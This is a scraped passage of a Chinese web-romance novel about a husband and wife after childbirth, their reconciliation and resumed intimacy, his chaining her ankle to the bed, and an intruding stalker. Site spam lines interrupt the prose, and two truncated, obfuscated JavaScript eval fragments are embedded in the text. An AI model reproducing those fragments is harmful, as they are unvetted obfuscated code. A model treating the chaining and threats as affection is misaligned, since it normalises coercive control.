明明现在被他抱在怀里明明知道他还这样喜欢自己她心里那点抗拒早就不见了反而是越来越在意他的一举一动。 言昭的手慢慢抓紧了他的衣襟。 她在他怀里犹豫了很久脸一点点烧起来心跳乱得不像话。 她已经出月子了身体也恢复得差不多了。 要不……试试。 言昭闭上眼睛整个人贴在他怀里呼吸变得很轻像是在等他。 时间一秒一秒过去。 可顾煜只是把她抱得更紧。 他的手扣在她后背力道重得像是怕她再消失可始终停在那里没有往下。 他什么都没做。 言昭等了好一会儿心里的紧张一点点变成了怔然。 她睫毛轻轻颤了一下忍不住睁开眼。 顾煜把脸埋在她颈侧呼吸压得很低整个人绷得厉害像是在极力克制着什么。 可他就是没有动她。 只是那样抱着。 这一下反倒让言昭有点无措。 她开始鼓起了很大的勇气手慢慢钻进他衣襟里哪知道就被他挡住。 言昭僵在那儿脸烧得厉害呼吸也乱了。 顾煜被她这一碰喉结狠狠滚了一下倒吸了一口气像是被烫到一样下一瞬直接把她从怀里掏出来动作快得带着点狼狈。 他把她背过去抱住。 胸膛紧紧贴在她后背。 那种压抑了很久的呼吸全落在她耳侧。 “昭昭”他的声音低得发哑“你身体还没好我说的狠心是你离开我。” 他贴得很近唇几乎擦着她耳廓“你答应我真的不会离开我了。” 言昭被他抱得动不了她的手还被他扣着整个人被他的气息包围着。 她很小声说：“我答应。” 哪知道顾煜低头咬住她的耳朵。 力道重得发狠。 那一下带着压了太久的情绪几乎是失控的。 言昭疼得一下叫出声身体本能地缩了一下。 血腥味很快在他唇齿间散开。 顾煜猛地回神整个人僵住立刻松开她呼吸乱得不像样子低头去看她的耳垂指尖都有点发抖。 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 他连忙靠过去，小心地舔了一下伤口，又轻轻亲了亲她耳根。 那动作跟刚才的失控完全不同。 温柔得发颤。 他贴在她耳边，声音压得极低。 “你上次也是这么答应我的。”他的呼吸乱着：“可你还是离开我了。” 房间里一下子安静下来。 言昭能清楚地感觉到他胸口的起伏，快得不像话。 他抱着她的手一点一点收紧。 言昭赶紧回答：“我这一次不会了，真的不会了。” 顾煜的脑袋埋在她颈窝里，呼吸一下比一下重，他没有立刻说话，只是轻轻蹭着她的皮肤，像是在确认她真的还在这里。 “为什么？”他的声音闷在她颈侧：“我要听实话，你的真心话。” 言昭被问得心口一紧。 她本来还想说点好听的，可话到了嘴边又怎么都说不出来，喉咙像是被堵住了一样。 她吞吞吐吐了好一会儿，手指不自觉地抓住他的袖口，最后还是小声说了出来。 “我一个人……养不活两个孩子。” 这句话落下来。 房间里一下子静得厉害。 顾煜的动作停住了。 他原本紧紧贴着她的身体慢慢松开了一点，像是被什么轻轻推开了。 他沉默了很久。 久到言昭都开始不安。 然后他忽然轻轻笑了一声。 那笑声很低，也让人听不出情绪。 顾煜抬起头，把她重新转过来面对自己，视线牢牢落在她脸上。 他的手开始在她背上缓慢地摩挲。 “你可以说你离不开我。” “你可以说你舍不得我。” “你也可以说你喜欢我。” 他的声音低得发哑，停了一下，喉结轻轻滚动。 “我想在你心里排第一位。”顾煜说这句话的时候，目光几乎不肯从她脸上移开。 “不是第二，也不是第三。我不想排在孩子后面。因为我是你丈夫，他们以后会长大，会有自己的生活，有他们要牵着手的人，他们的第一选择不会再是你。” 他靠得更近了一点，额头贴在她的额头上。 “可我不一样，我这一辈子，第一选择只会是你。” 言昭听着他的话，胸口那一下下的跳动根本压不住，她自己都能听见自己的心跳声。 她这一次没有再躲开，反而抬起头直直看向他。 房间里的灯 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 没有全开只留了一盏床头的小灯光线落在他侧脸上明暗交错。 那张本就好看的脸在暗处显得更加深邃鼻梁的线条被光勾出一道锋利的影子下颌收紧唇色很深。 现在他的眼睛亮得惊人。 像是黑夜里唯一的光牢牢盯着她一点退路都不给。 言昭被看得心口发紧呼吸都乱了她的手指不自觉抓住他衣襟小声问了一句：“你喜欢我吗？” 顾煜愣了一下随即低低笑出声那笑声带着一点无奈又带着点被她气到的宠。 他额头抵着她声音压得很低：“我都爱死你了你现在问我是不是喜欢你？” 顾煜说这句话的时候语气里那种藏不住的偏执和认真全都落在她耳边。 言昭的脸一下子烧了起来心跳快得不像自己的。 她也是第一次这么清楚地感觉到顾煜对自己的喜欢。 那种被人死死放在心上的感觉让她整个人都有点发软。 顾煜看着她这副样子眼神更深了一点手掌托住她的后颈把人往自己怀里带了带声音低得几乎贴着她的唇落下：“昭昭现在轮到你说了。” 言昭已经很紧张了。 她明明在心里想了很多遍可真的要说出口的时候舌头像是打了结一样喉咙也发紧。 她只能抓着他衣襟的手指收得更紧了一点。 然后言昭微微低着头小声又断断续续地开口：“我……我没有不把你放在前面我只是……我那时候真的害怕。 我一个人什么都没有肚子里还有两个孩子我怕你以后后悔也怕自己拖累你……” 她说到这里顿了一下像是下定了什么决心抬起头看他眼睛红红的说得很认真：“可是我现在知道了我离不开你我一个人真的不行孩子我也养不好我也……舍不得你我每天都在想你。” 最后那句“我喜欢你”卡在喉咙里她脸颊烧得厉害声音小得几乎听不见还是硬着头皮说了出来：“我喜欢你的。” 那一句落下的瞬间顾煜整个人像是被什么狠狠击中。 他眼底的情绪一下子翻涌起来呼吸都乱了手臂猛地收紧下一秒直接把她整个人抱起来放在自己腿上动作带着压不住的占有意味。 言昭被他这一抱吓了一跳下意识扶住他肩膀还没反应过来下巴就被他捏住抬了起来。 “看着我再说一遍。” 他的声音哑得厉害 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 不见底里面全是压不住的情绪。 言昭被他看得心跳失控脸烫得不行可还是被逼着直视他她呼吸乱得不像话结结巴巴又说了一遍：“我……喜欢你很喜欢的。” 此刻顾煜终于听到了自己等了很久的话。 他整个人在这一刻几乎失控额头抵上她的呼吸重得发烫手臂紧得像是要把她嵌进自己身体里。 然后就是用力抱着她抱得她几乎喘不过气来声音低得发抖：“昭昭这是你自己说的。” 言昭整个人还被他抱在腿上心跳乱得不像话。 现在气氛已经这样了她也自己都做好了接下来会发生什么的准备。 结果顾煜只是收紧手臂把她牢牢圈在怀里什么动作都没有。 她愣了一下睫毛轻轻颤了颤耳根还红着。 顾煜低头看她那点藏不住的表情他唇角慢慢勾起来接着贴着她耳侧低声说：“昭昭你觉得在想什么？” 言昭瞬间被戳穿整个人像被火燎了一下脸颊烧得厉害下意识就要从他腿上下来可被他抱得更紧。 他轻轻顺了顺她的背声音低而缓：“你现在身体还没完全好我不会碰你的。” 这句话说得平静又认真没有一点敷衍。 言昭的呼吸顿时乱了她本来就因为刚刚那一通表白心口发烫现在连那点隐秘的小心思都被他说出来羞得整个人都不敢看他。 她抬手推了他一下 说完就转过身往被子里钻。 顾煜看着她背过去的身影肩膀还因为紧张微微绷着忍不住低低笑了一声。 他没有再逗她只是躺下来从后面把人抱进怀里手臂搭在她腰上这一次这种牢靠让人安心。 房间里的灯已经关了夜色安静他的呼吸贴在她后颈一下又一下慢慢和她的节奏重合。 言昭本来还羞得睡不着可被他这样抱着心里的那点慌乱反而一点点散掉身体也放松下来。 顾煜在她看不见的地方低下头在她发顶轻轻蹭了一下声音低得几乎听不见：“慢慢来我们还有一辈子。” 那一刻气氛安静又柔软所有激烈的情绪都沉了下去只剩下贴在一起的温度。 …… 第二天言昭竟然一觉睡到了自然醒。 她睁开眼的一瞬间还带着点茫然下一秒像是被什么猛地刺了一下整个人一下子坐起来。 自己忘记 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 孩子了。 言昭掀开被子就要下床，脚刚往地上落，腿上忽然一紧。 一声细微的金属碰撞声在安静的房间里格外清晰。 言昭整个人僵住。 她低头。 一截细细的链子扣在她脚踝上，银白的金属贴着皮肤。 现在因为她刚才用力的动作微微晃动着，另一端锁在床脚的金属架上。 链子不长，言昭刚才那一下已经绷到了极限，脚踝被勒出一圈浅浅的红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他站起身把拖鞋重新给她穿好语气恢复成平时那种温柔“孩子在外面晒太阳你慢一点走还是我抱你过去？” 这下言昭连鞋都顾不上穿披着外衣就往外走。 此时客厅的门开着阳光暖暖地铺了一地。 她就看到自己两个孩子正被阿姨抱在怀里躺在窗边的位置晒太阳。 两个小小的襁褓整整齐齐四周挡着薄薄的布帘风进不来。 两个阿姨动作熟练又轻柔一个轻轻托着孩子的后背一个用手在旁边挡着光线。 言昭第一反应就是冷不冷她几步走过去声音都紧了“这样会不会着凉？” 明阿姨赶紧笑着解释：“不会的我们摸着呢而且太阳暖和着旁边也准备了遮风的。” 宋阿姨把盖在孩子眼睛上的那块小布轻轻调整了一下“这是防黄疸的小孩子多晒晒太阳是好事。” 言昭这才松口气。 她看着两个小家伙的小脸都被阳光照得暖暖的皮肤细嫩呼吸一下一下小嘴还时不时动一动。 只觉心里面发软。 “你昨天太累了顾教授特意交代我们别叫你让你多睡一会儿。”王阿姨从厨房探出头来笑着说“孩子有我们看着你安心。” 言昭转头看向已经跟过来的人。 顾煜手上提着一双拖鞋他看到她赤脚站在那里眉头紧蹙：“昭昭你没穿鞋子。” 他说着就快步走过来把她整个人打横抱起放回沙发上又弯腰把拖鞋套到她脚上。 动作熟练得像做过无数次。 言昭脸红的坐在沙发上。 现在家里可是有人大家都在看着。 顾煜像是完全没察觉她刚才的慌乱一样。 他叮嘱道“昭昭你现在就算出了月子也要注意点身体后面两个月不能受凉受风……” 他说得一条一条的认真得像在交代什么实验步骤。 言昭看着他心口软了一下点头“知道了。” 昨晚两人已经互相说了喜欢她现在看着他的时候连眼神都不再躲也不再温吞。 顾煜被她看得一顿唇角微微勾了一下伸手替她把肩上的衣服拢好 这下言昭用力把人推开慌忙离开沙发重新来到院子看着孩子。 在她低着头逗孩子的时候。 你的朋友正在书荒，快去帮帮他吧 言昭不知道是，在不远处那棵老槐树后面，露出半张脸。 那人整个人几乎贴在树干上，只剩下一只眼睛透出来，死死地盯着她这边。 目光阴沉又贪婪。 他看得很久。 久到连呼吸都压得极低。 另一只手却在不停地抓自己的手臂。 指甲抠进皮肉里，一道一道旧疤被反复刮过，翻出淡淡的红痕。 像是感觉不到疼。 又像是只有这样才能压住身体里那股翻涌的情绪。 他的视线从言昭的脸，一点点往下滑，落在她被顾煜护在怀里的样子上，眼神瞬间变得更暗。 喉结滚动了一下。 手臂上的疤被他抠得更狠。 树影晃了一下，他整个人又往后缩了一点，像是本能地躲避什么，可又舍不得移开眼睛。 此时院子里阳光正好。 言昭被顾煜半揽在怀里，两个人靠得很近，低声说着话，偶尔对视一眼就笑出来，笑声压得轻轻的，像是只属于他们两个人的小世界。 他们完全没有察觉到那道藏在暗处的视线。 顾煜原本正听她说孩子刚才的样子，唇角还带着一点没散开的笑意，忽然神情微微一顿。 像是某种本能被触动。 他抬起眼，目光往院子外扫去。 老槐树下空空荡荡。 只有风穿过枝叶，带起一阵细碎的沙沙声。 他多看了两秒，眉心很轻地收紧了一下，那点冷意在眼底一闪而过，却很快被他压了下去。 再低头时，怀里的人还在说着话，手指抓着他的衣襟，眼睛亮亮的。 而更远一点的墙角后。 那个人已经退到了阴影里。 整个人缩着，呼吸急促，手臂上的皮肉被他抠得血丝都渗了出来。 可他像是感觉不到。 嘴角一点点咧开，露出一个几乎称得上诡异的笑。 像是看见了什么失而复得的东西。 又像是终于找到了一样。 第78章 干柴烈火 言昭后面的日子几乎被按在家里养着。 王阿姨像是憋足了劲要把她补回来，一天三顿不重样，鸡汤、鱼汤、红枣炖肉轮着来，点心也是一盘接一盘地往她面前端。 言昭原本那点单薄的身形很快就被养开了，腰肢依旧细着，可整个人有了明显的曲线，肩背柔润，胸口被养得饱满，连脸颊都多了一点软软的肉，笑起来的时候带着一股说不出的娇媚。 她自己还没什么感觉，穿着宽松的家居裙在屋子里走来走去，只觉得轻松自在。 而顾煜是真的碰都没碰她。 每天晚上把人抱进怀里就只是抱着，手也规规矩矩放在她腰上，像是在克制什么。 可日子越往三个月靠近，他那双眼睛就越不安分。 有时候言昭只是低头给孩子换衣服，他站在旁边看着，目光会突然停住一瞬，整个人像是走神了一样，视线落在她身上某个位置不动。 等她抬头看过去，他又很自然地把目光挪开，神情平静得像什么都没发生。 只是喉结会轻轻滚一下。 在她看不见的角度，他会侧过脸去，呼吸压得很低，唇线绷紧，像是在强行把什么情绪咽回去。 有一次她弯腰去抱孩子，裙摆顺着腿侧滑下来一点，他站在门口，整个人都僵住了。 手指无意识地扣紧门框。 过了好几秒才转身离开。 等他再回来时，神色已经恢复成那副温温和和的样子，只是耳根有点发红。 言昭后来慢慢察觉到了。 有时候她转头，会正好撞上他的视线。 那眼神亮得吓人。 像是饿了很久，却又死死忍着不动。 言昭每次都会被看得心口一跳，赶紧装作没发现。 现在两个孩子几乎不用言昭操心。 白天的时候，明阿姨和宋阿姨一人抱一个，按点喂奶、拍嗝、晒太阳、换尿布，连衣服都是烘得暖暖的才给孩子穿上。 言昭会时不时去看看，看到两个小家伙就躺在软软的小被子里，一儿一女安安静静的，脸蛋都养得白白嫩嫩。 而奶粉、尿布、衣服，全是顾煜单位每隔一周送一次过来。 顾煜一直没去上班。 别人来找过两次，他只说一句等她身体彻底养好再回去。 所以又跟着请假了三个月，剩下的时间他全用在她身上，教她学习。 言昭重新把书本翻出来的时候，其实是有点不安的。 她错过了 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 高考，只能再等一年，心里总觉得自己落后了一步。 可顾煜像早就算好了一样，把她的课程安排得清清楚楚。 早上她吃完早饭，他就把桌子收拾干净，把书和本子一摞一摞摆好，连铅笔都削好放在她手边。 “今天先复习数学。” 他说这句话的时候语气很平常。 但是顾煜讲题的时候完全像变了一个人。 声音低而稳，脸色认真的可怕，一道题能拆成好几个层次。 一步一步带着她走，哪里会错、为什么会错、以后怎么避开，全都讲得明明白白。 言昭一开始还会走神。 后来就完全被带进去。 他坐在她身边的时候很近，手指落在纸上给她写步骤，袖口偶尔蹭到她的手腕，她都会不自觉缩一下。 顾煜像是没察觉一样继续讲。 只是讲到一半的时候，会忽然停下来，看她一眼。 那种目光专注得让人心口发紧。 晚上复盘的时候，他会让她自己做一遍题，然后把错题一本一本整理好。 “明年你会考上的。” 他说得很平静。 不是安慰，是陈述。 言昭看着他给自己做的复习表，细到每天几点背书、几点做题、几点休息。 她感动地点头。 而顾煜的日子也变得极规律。 早上陪她吃饭，白天给她讲课，下午去看孩子，晚上抱着她睡觉。 所有时间都围着她转。 只是偶尔，她抬头的时候，会看到他盯着自己发呆。 就这样，三个月过得很快。 这一天其实很普通。 上午的课讲完后，言昭去洗了个头，头发半干不干地披在肩上，她嫌热，随手从柜子里拿了一件贴身的棉质上衣换上。 那衣服原本是怀孕前穿的，现在身形养开了，布料贴着身体，把她的曲线勾得很明显。 她自己没觉得有什么，抱着书从房间里出来的时候，还在低头背刚才记的公式。 顾煜正坐在桌边改她的练习册。 他抬头的那一瞬间，整个人像是被什么定住了，视线落在她身上，再也没移开，喉结狠狠滚了一下。 言昭还没反应过来，他已经起身朝她走过去，步子快得有点乱。 她刚抬头，还没来得及开口，人就被他一把抱进怀里。 那力道很重，像是忍了很久。 他的手臂箍在她背后，掌心 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 贴着她的腰，呼吸一下子全乱了。 言昭被他抱得一愣，她自然是感觉到他身体滚烫的温度。 她脸贴在他肩上，小声问了一句：“今天是不是满三个月了？ 只是再平常不过的一句话。 顾煜整个人像被点着了一样。 他手里的笔早就掉在地上，抱着她的力道紧得发颤，好几秒都没说话。 然后他猛地松开一点，低头看她，眼睛亮得发狠，像是压了太久的东西一下子全涌上来。 就在言昭想要闭上眼睛，任由他要抱起自己的时候，可他说出口的第一句话却是—— “我们去医院。 言昭愣住 “现在就去。 此刻顾煜的声音哑得厉害，指尖还在轻轻发抖。 她还没反应过来，就被他拿外套裹好，几乎是半抱着带出了门。 自从言昭回到京市后，这家医院她已经来过很多次。 从她出院后复查，到后面一次次确认身体恢复情况，连门口今晚急诊科夜班挂号的都认得她了。 “又来复查啊？ 医生看见他们的时候都笑了。 顾煜却一点笑意都没有，把检查单递过去：“再查一遍，所有项目。 医生看了他一眼，又看了看脸颊发红的言昭，像是明白了什么，忍不住调侃了一句：“恢复得很好，上次就已经没问题了。 顾煜还是没说话。 一直等所有检查结果都出来，他一项一项看完，确认每一个指标都正常，才终于慢慢吐出一口气。 那口气像是憋了三个月。 言昭站在旁边，看着他那副样子，忽然有点想笑，又有点心软。 从医院出来的时候，他的手一直没松开她。 车子启动后，车厢里很安静，只剩下引擎低低的震动声。 顾煜会在停下来片刻的时候扣着她的手指，把她整只手都包住。 两人掌心都滚烫，他指腹时不时在她手背上摩挲一下，像是在确认什么，又像是压着情绪。 言昭被他握得有点发热。 她侧头看他，他的下颌线绷得很紧，喉结时不时滚动一下，呼吸明显比平时重。 空气像是被什么填满了。 言昭心口也跟着发紧。 有个称呼在舌尖转了好几圈。 是城里的女人喊自己男人的称呼。 她以前听见时还特地学习了一下。 言昭声音压得很小，带 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 着一点不太熟练的软意。 “……老公。” 哪知道顾煜猛地转过头看她。 那一眼深得吓人。 像是压住的所有忍耐，在这一声里被狠狠撬开，又被他硬生生按回去。 他握着方向盘的手瞬间收紧，指节都泛了白，喉结重重滚了一下，呼吸乱得不像话。 言昭没想到他反应会这么大，也被他看得心口发烫，连自己都不知道刚才那一声是胆子大还是想确认他会不会有反应。 后面的车突然按了喇叭。 顾煜像是被人从水里拽出来，猛地回神，转回去重新启动车子。 可那一下太急，油门踩重了点。 车子冲出去的瞬间，他的呼吸还没稳下来，耳根已经全红了。 一路上谁都没再说话。 可那种快要溢出来的气息，把整个车厢都烧得发烫。 车停进院子的时候，他关火的动作都比平时慢了一拍。 回到家门口，他才停住脚步。 低头看她。 顾煜还是先问了一句，声音压得很低：“累不累？” 言昭摇头。 下一秒整个人就被他抱起来，直接带进屋里。 门被反手关上。 他没有立刻做什么。 只是把她抵在玄关的墙边，额头贴着她的肩，呼吸又重又乱，像是在做最后一次确认。 “昭昭。”他的声音低得发哑：“真的可以了。” 这一晚像是压了太久的火终于被点着。 门一关上，顾煜连灯都没来得及开，手已经落在她身上，动作急得不像他。 扣子被扯开的时候发出清脆的一声响，衣料直接被他拉散，言昭被吓得低呼了一声，整个人往后缩，又被他一把捞回来按进怀里。 他呼吸烫得厉害，贴着她的耳侧说话时声音又低又哑，带着点压不住的笑意。 “现在这里还难受不难受？涨不涨？” 言昭被他说得脸都烧起来，刚摇头，他的手就覆了上去，掌心重得要命。 “怎么比以前还要大？现在两只手都感觉快握不住，真的不难受吗？” 他声音压得更低，带着点坏。 言昭整个人都僵住了，羞得想往旁边躲，可被他困在怀里，退一步就是墙，侧开一点又被他捞回来。 他今晚完全没了平时那点克制，像是三个月的忍耐全都换成了现在的狠劲。 她每动一下，他就追上来，偏偏还一句句说得 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 她耳根发烫。 言昭被他说得气急又羞，伸手去推他，却被他反扣住手腕压在头顶，低头贴着她的唇笑。 “昭昭乖乖的，不要躲。 这一晚他像是彻底放开了。 言昭刚缓过一口气，就又被他抱进怀里，整个人被按进被褥里，耳边全是他低哑的声音。 “再叫我老公。 她装没听见，他就贴着她的唇，一遍一遍哄，语气又沉又坏。 “昭昭，在车上不是叫得挺顺的？ 言昭被他说得脸颊滚烫，偏过头不肯看他，可他偏要她看着自己，手扣着她的下巴，眼睛亮得发狠。 最后那两个字被他磨了很久，她才小声喊出来。 他像是被这声彻底点燃了。 整个人的动作一下子失了控。 言昭原本还在心里偷偷担心，他结扎之后会不会没以前那样有精力，可真正开始的时候她才知道自己想错了。 他不但没有收敛，反而比从前更疯。 像是少了最后一点顾忌，什么都敢做。 她刚在床上缓一会儿，就被他抱下来。 脚还没站稳，人就被按在桌沿边，冰凉的桌面贴上来，她腰一下子就软了。 他偏偏特别喜欢离开床。 桌子、窗边、甚至门口那一小段墙。 窗帘被他拉开了一半，夜里的风透进来，言昭整个人被他抱着，腿都发软，还要被他逼着一声一声喊。 到后来她嗓子都哑了，腰酸得直发颤。 最后言昭被折腾得整个人都没力气，想躲都没地方躲，只能抓着他的衣服，气得咬他。 他越被咬越兴奋，抱着她的力道一点都不肯松。 这一夜闹到天都泛白。 窗帘缝里透进来一线灰蒙蒙的光时，两个人才真正安静下来。 言昭洗干净，整个人被他抱在怀里，连抬手的力气都没有，呼吸还带着一点没缓过来的乱。 顾煜也终于撑不住了，额头抵着她的发顶，声音哑得不像话，手还是下意识把她往怀里收紧。 房间里乱得不像样。 被子滑到床尾，衣服散在地上，桌上的练习册还停在昨晚的那一页。 两个人几乎是同时睡过去的。 楼下的早餐早就做好了。 王阿姨把粥和小菜还有包子一样样摆上餐桌，又抬头看了眼时间，楼上还是一点动静都没有。 她站在原地想了想，忍不住笑了一下， 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 干脆把碗盖重新盖好全部端回厨房温着。 火调成最小砂锅里慢慢冒着热气香味一点点散开。 另外两个带孩子的阿姨正抱着两个小家伙在客厅里等 “还没起呢？” 她压低声音点点头。 三个人对视了一眼都忍不住笑了出来又赶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“阿姨会抱上来。” 他语气一点波动都没有。 “下午我会早点回来回来就给你解开。” 可不管言昭怎么抗议、怎么拒绝他都没有丝毫反应。 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 出门前他还低头亲了她一下，手掌托着她的脸，声音压得很低。 “昭昭，听话。 门关上的那一刻，楼下传来落锁的声音。 整个二楼只剩下她一个人，还有脚踝上那条冰凉的链子。 这边三个阿姨心里也都在发怵。 没想到他会直接用锁链锁住太太。 三个阿姨来之前就被特地叮嘱过。 知道顾煜看起来斯文冷静，但是也知道他手段特别狠，也知道他是真的做得出那些让人不敢想的事情。 等顾煜要出门的时候，年纪最大的那个还是忍不住开了口，小声说：“顾教授，其实我们在家里一直看着的，太太不会乱跑的，用不着…… 话还没说完，就被他的眼神压住了。 在言昭面前的那点温和早就没了。 他站在客厅里，神色冷得像换了一个人，目光扫过来时没有一点情绪。 “我为什么要相信你们？ 三个人一下子都不敢再说话。 他把袖口扣好，语气平静得近乎冷漠。“你们做好自己的本职工作就行，别的，不需要你们插手。 那位阿姨还想再说一句什么，他已经转过头，视线落在楼梯的方向。 “如果有人上去动那条链子—— 后面的话他没说完。 只不过空气像是一下子降了温。 三个人脸色都变了，连忙点头：“不敢，不敢，我们不会的。 顾煜没有再看她们，拿起钥匙就出了门。 门关上的声音很轻。 可客厅里三个人同时松了一口气。 对视了一眼，都忍不住小声叹气。 而二楼的言昭低头看着脚踝上的锁链。 金属扣贴着皮肤，有点凉，她伸手轻轻拽了一下，链子发出细碎的声响，在安静的房间里格外明显。 她坐在床边，整个人都有点发蔫。 自己是跑过一次，可现在孩子就在这，她怎么可能再丢下他们走。 想到这里，眼眶都跟着有点酸。 不是气顾煜，就是觉得委屈。 门外传来轻轻的敲门声。 阿姨抱着孩子走进来，小声说：“太太，小少爷跟小姐醒了。 两个小家伙刚睡醒，眼睛还湿漉漉的，一看见她就咿咿呀呀地伸手。 言昭那点委屈瞬间就散了。 她赶紧把人接过来，抱进怀里，脸贴着他们的小脸蹭了蹭，声音一下子软 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 得不像话：“醒啦？想妈妈没有？” 孩子在她怀里乱动，小手抓着她的衣服，笑得口水都出来了。 她也跟着笑，刚才那点低落像是从来没存在过一样，整个人都亮了起来。 两个阿姨站在旁边，看她抱着孩子逗来逗去，互相对视了一眼，悄悄松了一口气。 她们特地把孩子抱上来，就是怕太太一个人在楼上心里难受。 没想到这位太太脾气这么好。 刚才楼下的事一句都没提，脸上连点不高兴都没有，一见到孩子就乐呵呵的。 其中一个忍不住小声说：“太太，孩子刚喝完奶，精神着呢，能陪您好一会儿。” 言昭笑着点头，把孩子举起来逗他们笑，整间房的气氛都跟着暖了起来。 两个阿姨轻手轻脚退了出去，关门前又看了一眼屋里。 真是好性子，一点都不记仇。 言昭抱着孩子腻了一会儿，把两个小家伙哄得直打哈欠，才依依不舍地让阿姨抱下去。 房间重新安静下来。 她把书摊开在桌上，按着顾煜给她排的进度把题目做了一页，又把公式抄了一遍。 链子的长度刚好够她在床和书桌之间走动，金属偶尔轻轻碰在地板上，发出细小的声响。 学了一阵子，她就困了。 现在每天中午睡一觉已经成了习惯。 言昭把书合上，侧身躺回床上，没多久呼吸就慢慢变得均匀。 楼下三个阿姨正围在厨房旁边的小桌边聊天，声音压得低低的，还时不时笑两声。 院子里树影晃动。 一道身影从围墙外翻进来。 他没有走正门，而是踩着旁边那棵老树往上攀，手臂发力时几乎没有发出一点声响。 树枝轻轻晃了一下。 下一秒，人已经踩在二楼外沿。 窗户没关严。 他伸手推开，身形一闪就进了屋。 落地无声。 第79章 这个男人的抖m 男人视线在房间里扫了一圈，很快就看到了那条锁链。 金属扣在床边的环扣上，另一端扣在她的脚踝上。 他停了一下。 精致的眉目微微蹙起。 那抹不悦在眼底掠过，又被他极快地压了下去。 男人走到床边，缓缓蹲下。 床上的人睡得很沉。 长发铺散在枕间，几缕发丝贴在脸侧，呼吸细软而均匀，唇微微张着，看着明显在梦里都没有防备。 午后的光从窗外斜落进来，落在她的眉骨和鼻尖上，皮肤被照得通透柔软，整个人安静得不像话。 他看了很久。 那只手伸到半空，停住。 指尖像是想碰她的脸，又强忍着没有落下。 视线从她的眉眼一路往下，停在她被被子裹住的身体上，呼吸不自觉地轻了一瞬。 那种目光不再只是打量。 带着一点久压在心底的贪念。 像是在看一件终于落进自己视线范围内，可还没来得及伸手夺走的东西。 他喉结轻轻滚了一下。 最后还是把手落在被子边缘。 指尖在那柔软的布料上停了停，又缓缓往下滑去，勾住了她垂在床边的手指。 只是极轻的一下触碰。 他整个人却、猛地一震，原本紧绷的眉心瞬间松开。 脑海里那种隐隐作痛、仿佛被什么撕扯着的感觉，在这一刻像是被一只看不见的手抚平。 那股让人烦躁到失控的疼痛，骤然消失。 他呼吸一顿，下一秒喉间溢出一声压得极低的闷哼。 像是忍了太久终于得到缓解。 整个人都放松下来。 肩线不再紧绷，连眼底那层阴沉的暗色都散开了几分。 过了好一会儿，男人才缓缓抬起头。 随着这个动作，原本压得很低的帽檐往后一滑。 帽子从他发间脱落，顺着肩侧掉在地上。 午后的光线落下来，照亮了那张一直藏在阴影里的脸。 眉骨清晰，眼尾微挑，鼻梁挺直，是一张精致到带着冷意的面容。 这个男人是谢临。 他仍旧勾着她的手指，没有再动。 那点微弱的触感，却像是源源不断地往他身体里输送着什么，让他整个人都轻了下来。 他低头看着她。 只是一年多没见，谢临脸色白得吓人，原本就冷白的皮肤现在一点血色都没 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 有，唇色也淡，眼下压着明显的青痕，整个人瘦了一圈，颧骨都显出来了。 这不像普通的清瘦。 更像是长期被什么反复折磨出来的消耗感，身上带着一股压不住的阴郁气息。 言昭在睡梦里总觉得手指发痒。 那种痒意很轻，一下一下地从指尖传上来，连带着脚踝也有点不舒服，像是被什么碰着。 链子轻轻绷紧，又松开，金属摩擦的细声把她从深睡里一点点拖出来。 她皱了皱眉，迷迷糊糊地睁开眼，唇间溢出一声软软的轻吟。 视线还没完全聚焦，就看见床边有个人影。 那人正趴在床沿。 言昭的睡意瞬间全没了。 心口猛地一缩，她张嘴就要叫—— 下一秒，一只手已经捂住了她的嘴。 动作快得让人反应不过来。 她呼吸一滞，眼睛彻底清醒过来，近距离对上一双黑得很深的眼。 是谢临！ 言昭瞳孔猛地收紧。 震惊几乎写在脸上。 他怎么会在这里？ 这里是她和顾煜的家，是二楼的房间，是被锁着的地方—— 她的心跳一下子乱了。 脑子里第一个闪过的念头不是害怕。 而是—— 要是被顾煜知道。 他肯定会很生气！！！ 谢临在她睁眼的瞬间条件反射捂住了她的嘴，两人的距离被一下子拉近，呼吸几乎贴在一起。 言昭瞳孔骤缩，睡意全散，身体反应比脑子还快，腿已经狠狠踹了出去。 只听见一声闷响，谢临整个人被她从床边踹下去，后背撞在地板上。 她借着那股力坐起身，脚踝上的链子被扯得哗啦作响，金属声在安静的房间里格外清晰。 她没有再叫，只是重重呼出一口气，胸口还在起伏，眼神已经彻底冷下来：“你怎么在这？你怎么进来的？你到底想干什么？” 话一句比一句紧，压着火气。 她是真的没想到会再见到他。 回来这么久，她几乎已经把这个人忘了。 现在突然出现在自己房间里，还是在她被锁着的情况下。 言昭脑子里闪过他以前那些莫名其妙的话，她下意识往门口看了一眼，心里迅速盘算，要不要直接把楼下的阿姨叫上来。 谢临被踹下去后半天没起来。 言昭刚要再说话，就见他整个人在地上慢慢蜷缩起来 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 ，手死死按着自己的头，肩膀控制不住地发抖。 他喉咙里压出一声一声低哑的闷哼，像是疼到极点又强忍着不敢大声。 言昭眉头一下子皱紧：“你别在这碰瓷，我没用多大力气，本来就是你自己闯进来的，你赶紧走。” 话说得很硬，她也没有真的再踹第二下。 谢临这时慢慢侧过脸。 那张脸白得吓人，额角全是冷汗，唇色发灰，呼吸乱得不像话，眼底只剩下压不住的痛意。 这种痛不像装的，连他抓着地板的指节都因为用力过度而发白。 也就是这一挣扎，他的袖口被往上带了一截。 言昭的视线猛地顿住。 他的手腕到小臂，全是疤。 